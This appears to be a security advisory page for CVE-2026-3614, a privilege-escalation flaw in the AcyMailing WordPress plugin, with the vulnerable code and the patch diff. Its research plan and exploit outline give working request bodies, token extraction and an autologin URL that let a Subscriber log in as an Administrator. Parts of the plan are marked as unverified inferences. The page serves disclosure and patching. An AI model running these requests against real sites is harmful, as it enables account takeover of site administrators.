CVE-2026-3614

AcyMailing 9.11.0 - 10.8.1 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation

highMissing Authorization
8.8
CVSS Score
8.8
CVSS Score
high
Severity
10.8.2
Patched in
1d
Time to patch

Description

The AcyMailing plugin for WordPress is vulnerable to privilege escalation in all versions From 9.11.0 up to, and including, 10.8.1 due to a missing capability check on the `wp_ajax_acymailing_router` AJAX handler. This makes it possible for authenticated attackers, with Subscriber-level access and above, to access admin-only controllers (including configuration management), enable the autologin feature, create a malicious newsletter subscriber with an injected `cms_id` pointing to any WordPress user, and then use the autologin URL to authenticate as that user, including administrators.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions>=9.11.0 <=10.8.1
PublishedApril 15, 2026
Last updatedApril 16, 2026
Affected pluginacymailing

What Changed in the Fix

Changes introduced in v10.8.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: AcyMailing Privilege Escalation (CVE-2026-3614) ## 1. Vulnerability Summary The AcyMailing plugin (versions 9.11.0 to 10.8.1) contains a missing authorization vulnerability in its AJAX routing mechanism. The base controller class, `AcymController`, contains a logic flaw in its `cal…

Show full research plan

Research Plan: AcyMailing Privilege Escalation (CVE-2026-3614)

1. Vulnerability Summary

The AcyMailing plugin (versions 9.11.0 to 10.8.1) contains a missing authorization vulnerability in its AJAX routing mechanism. The base controller class, AcymController, contains a logic flaw in its call() method that bypasses capability checks for any task name containing the string "Ajax". Specifically, the check strpos($task, 'Ajax') === false allows authenticated users with low privileges (e.g., Subscribers) to invoke admin-level controller methods designed for AJAX.

This allows an attacker to:

  1. Modify global plugin configurations (e.g., enabling "autologin").
  2. Create or update AcyMailing subscribers and link them to high-privileged WordPress users (like Administrators) by manipulating the cms_id field.
  3. Utilize the AcyMailing autologin feature to authenticate as the linked Administrator.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: acymailing_router
  • Vulnerable Parameter: task (when it contains "Ajax")
  • Authentication: Subscriber-level (PR:L)
  • Target Controllers: configuration, users
  • Preconditions: The attacker must be logged in as a Subscriber and obtain the AcyMailing AJAX token.

3. Code Flow

  1. Entry Point: The AJAX request hits wp_ajax_acymailing_router.
  2. Routing: The router identifies the controller (ctrl) and the method (task).
  3. Authorization Bypass: In back/Core/AcymController.php:
    public function call(string $task): void {
        if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) 
            && strpos($task, 'Ajax') === false 
            && !acym_isAllowed($this->name)) {
            // ... (Access Denied)
        }
        // If task contains "Ajax", the check is bypassed.
        $this->$task();
    }
    
  4. Sinks:
    • ConfigurationController::saveAjax (inferred task name based on AcyMailing's naming convention for traits like Security or Subscription used in the controller).
    • UsersController::saveAjax (inferred task name from the Edition trait).
    • UserClass::save(): Processes the user array, including the cms_id field.

4. Nonce Acquisition Strategy

AcyMailing uses a custom token for AJAX requests, typically localized in the acym_data JavaScript object.

  1. Identify Page: The plugin loads its core scripts on most AcyMailing admin pages. Even if a Subscriber is restricted from the main dashboard, they may access the AcyMailing "Profile" or "Subscription" management pages if enabled.
  2. Creation of Access Point: To ensure the script is loaded, create a WordPress page containing an AcyMailing shortcode.
    • Shortcode: [acymailing_form list="1"] (Standard subscription form).
  3. Extraction:
    • Navigate to the page.
    • Use browser_eval to extract the token: browser_eval("window.acym_data?.token").
    • The action verified by acym_checkToken() in ConfigurationController::getAjax (line 39) is usually this global token.

5. Exploitation Strategy

Step 1: Enable Autologin

Enable the autologin feature via the configuration controller.

  • Request: POST /wp-admin/admin-ajax.php
  • Body:
    action=acymailing_router&ctrl=configuration&task=saveAjax&acym_token=[TOKEN]&config[allow_autologin]=1
    
  • Content-Type: application/x-www-form-urlencoded

Step 2: Create Malicious Subscriber

Create a new subscriber or update an existing one, setting the cms_id to 1 (usually the Administrator ID).

  • Request: POST /wp-admin/admin-ajax.php
  • Body:
    action=acymailing_router&ctrl=users&task=saveAjax&acym_token=[TOKEN]&user[email]=attacker@poc.local&user[cms_id]=1&user[active]=1&user[confirmed]=1
    
  • Goal: Obtain the key field from the JSON response. If saveAjax does not return the key, use getUserInfoAjax (found in UsersController.php line 57) to retrieve the user's details by the newly created ID.

Step 3: Trigger Privilege Escalation

Construct the autologin URL using the AcyMailing subscriber ID and the key retrieved in Step 2.

  • URL Pattern: [SITE_URL]/?ctrl=frontusers&task=autologin&user_id=[SUBSCRIBER_ID]&key=[KEY]
  • Action: Navigate to this URL in the browser. This will log the attacker in as the WordPress user defined by cms_id (the Administrator).

6. Test Data Setup

  1. Target User: Ensure a user with ID 1 exists and has the administrator role.
  2. Attacker User: Create a user with the subscriber role.
  3. Nonce Page: Create a page to extract the acym_token.
    wp post create --post_type=page --post_status=publish --post_title="Newsletter" --post_content='[acymailing_form]'
    

7. Expected Results

  • Config Update: The first AJAX call returns {"status":true} or similar success message, and the database wp_acym_configuration reflects allow_autologin as 1.
  • User Creation: The second AJAX call returns a JSON object representing the user, including a 16-32 character key.
  • Login: Accessing the autologin URL redirects the attacker to the WordPress dashboard with Administrator privileges.

8. Verification Steps

  1. Check Config: wp db query "SELECT value FROM wp_acym_configuration WHERE name = 'allow_autologin'" (Should be 1).
  2. Check Subscriber: wp db query "SELECT * FROM wp_acym_user WHERE email = 'attacker@poc.local'" (Should show cms_id = 1).
  3. Check Session: After navigating to the autologin URL, run wp eval "echo wp_get_current_user()->roles[0];" (Should output administrator).

9. Alternative Approaches

  • If saveAjax is not the method name: Check for storeAjax or updateAjax.
  • Direct Configuration Manipulation: If saveAjax on ConfigurationController fails, try targeting specific traits like SecurityController (if it exists as a separate controller accessible via ctrl=security).
  • Information Leak: Use ctrl=users&task=getUserInfoAjax&userId=1 (as seen in UsersController.php) to leak subscriber data of other users if userId refers to the AcyMailing user ID.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AcyMailing plugin for WordPress is vulnerable to privilege escalation due to a missing authorization check in its AJAX routing logic. Authenticated attackers with Subscriber-level access can bypass capability checks by calling controller methods containing the string 'Ajax', allowing them to enable the autologin feature and link their account to an Administrator via the 'cms_id' parameter.

Vulnerable Code

// back/Core/AcymController.php line 92
public function call(string $task): void
{
    if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) {
        acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');
        acym_redirect(acym_completeLink('dashboard'));

        return;
    }

    if (!method_exists($this, $task)) {
        acym_enqueueMessage(acym_translation('ACYM_NON_EXISTING_PAGE'), 'warning');
        $task = $this->defaulttask;
        acym_setVar('task', $task);
    }

    $this->$task();
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.1/back/Classes/UserClass.php /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.2/back/Classes/UserClass.php
--- /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.1/back/Classes/UserClass.php	2026-03-09 13:06:28.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.2/back/Classes/UserClass.php	2026-03-13 09:39:22.000000000 +0000
@@ -1033,6 +1037,7 @@
                 $user->$attribute = $value;
             }
             unset($user->cms_id);
+            unset($user->key);
         }
 
         if (empty($user->email)) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.1/back/Core/AcymController.php /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.2/back/Core/AcymController.php
--- /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.1/back/Core/AcymController.php	2025-11-17 10:05:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/acymailing/10.8.2/back/Core/AcymController.php	2026-03-13 09:39:22.000000000 +0000
@@ -84,12 +89,14 @@
         $_SESSION[$this->sessionName] = [];
 
         $taskToCall = acym_getVar('string', 'cleartask', $this->defaulttask);
-        $this->call($taskToCall);
+        if (in_array($taskToCall, ['campaigns_auto', 'welcome', 'unsubscribe', $this->defaulttask])) {
+            $this->call($taskToCall);
+        }
     }
 
     public function call(string $task): void
     {
-        if (!in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && strpos($task, 'Ajax') === false && !acym_isAllowed($this->name)) {
+        if (!acym_isAllowed($this->name)) {
             acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');
             acym_redirect(acym_completeLink('dashboard'));

Exploit Outline

1. **Identify AJAX Token**: Authenticate as a Subscriber and extract the `acym_token` from the `acym_data` object in the localized JavaScript (usually available on pages with an AcyMailing form or profile management). 2. **Enable Autologin**: Send a POST request to `/wp-admin/admin-ajax.php` with `action=acymailing_router`, `ctrl=configuration`, and `task=saveAjax`. The payload should include `config[allow_autologin]=1`. The `saveAjax` method (via the Security trait) is accessible because it contains the 'Ajax' string, bypassing authorization checks. 3. **Link to Administrator**: Send a POST request to `/wp-admin/admin-ajax.php` with `action=acymailing_router`, `ctrl=users`, and `task=saveAjax`. The payload should contain a user array with the attacker's email and `cms_id=1` (standard ID for the first Administrator). 4. **Retrieve Access Key**: Use the response from the user update or call `getUserInfoAjax` (also authorized via the 'Ajax' bypass) to retrieve the AcyMailing `key` for the linked subscriber account. 5. **Authenticate as Admin**: Navigate to `[SITE_URL]/?ctrl=frontusers&task=autologin&user_id=[SUBSCRIBER_ID]&key=[KEY]`. The plugin will authenticate the session as the WordPress user specified by the previously set `cms_id` (the Administrator).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.